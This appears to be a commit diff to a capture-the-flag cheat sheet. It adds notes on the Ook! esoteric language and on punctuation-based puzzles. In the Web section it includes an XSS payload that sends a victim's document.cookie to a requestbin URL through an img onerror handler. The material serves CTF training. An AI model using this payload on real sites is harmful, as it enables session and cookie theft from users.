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ctf-katana
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Added note regarding Ook

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John Hammond 2018-10-16 17:45:26 -04:00
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@ -46,6 +46,19 @@ Esoteric Languages
![https://www.bertnase.de/npiet/hi.png](https://www.bertnase.de/npiet/hi.png) ![https://www.bertnase.de/npiet/hi.png](https://www.bertnase.de/npiet/hi.png)
* [Ook!](http://esolangs.org/wiki/ook!)
A joke language. Recognizable by `.` and `?`, and `!`.
```
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.
Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
Ook! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
```
Steganography Steganography
--------------------- ---------------------
@ -95,6 +108,7 @@ Steganography
When given a sequence with only A, C, G, T , there is an online mapping for these. Try this: When given a sequence with only A, C, G, T , there is an online mapping for these. Try this:
![img/dna_codes.png](img/dna_codes.png) ![img/dna_codes.png](img/dna_codes.png)
![img/genome_coding.jpg](img/genome_coding.jpg)
* [`snow`][snow] * [`snow`][snow]
@ -130,6 +144,9 @@ Steganography
sudo apt install zbar-tools sudo apt install zbar-tools
``` ```
* Punctuation marks `!`, `.` and `?`
I have seen some challenges use just the end of `.` or `?` or `!` to represent the [Ook](http://esolangs.org/wiki/ook!) esoteric programming language. Don't forget that is a thing!
Cryptography Cryptography
----------------- -----------------
@ -501,6 +518,12 @@ Web
``` ```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```
Typically you use this to steal cookies or other information, and you can do this with an online requestbin.
```
<img src="#" onerror="document.location='http://requestbin.fullcontact.com/168r30u1?c' + document.cookie">
``` ```
* [CloudFlare Bypass](https://github.com/Anorov/cloudflare-scrape) * [CloudFlare Bypass](https://github.com/Anorov/cloudflare-scrape)

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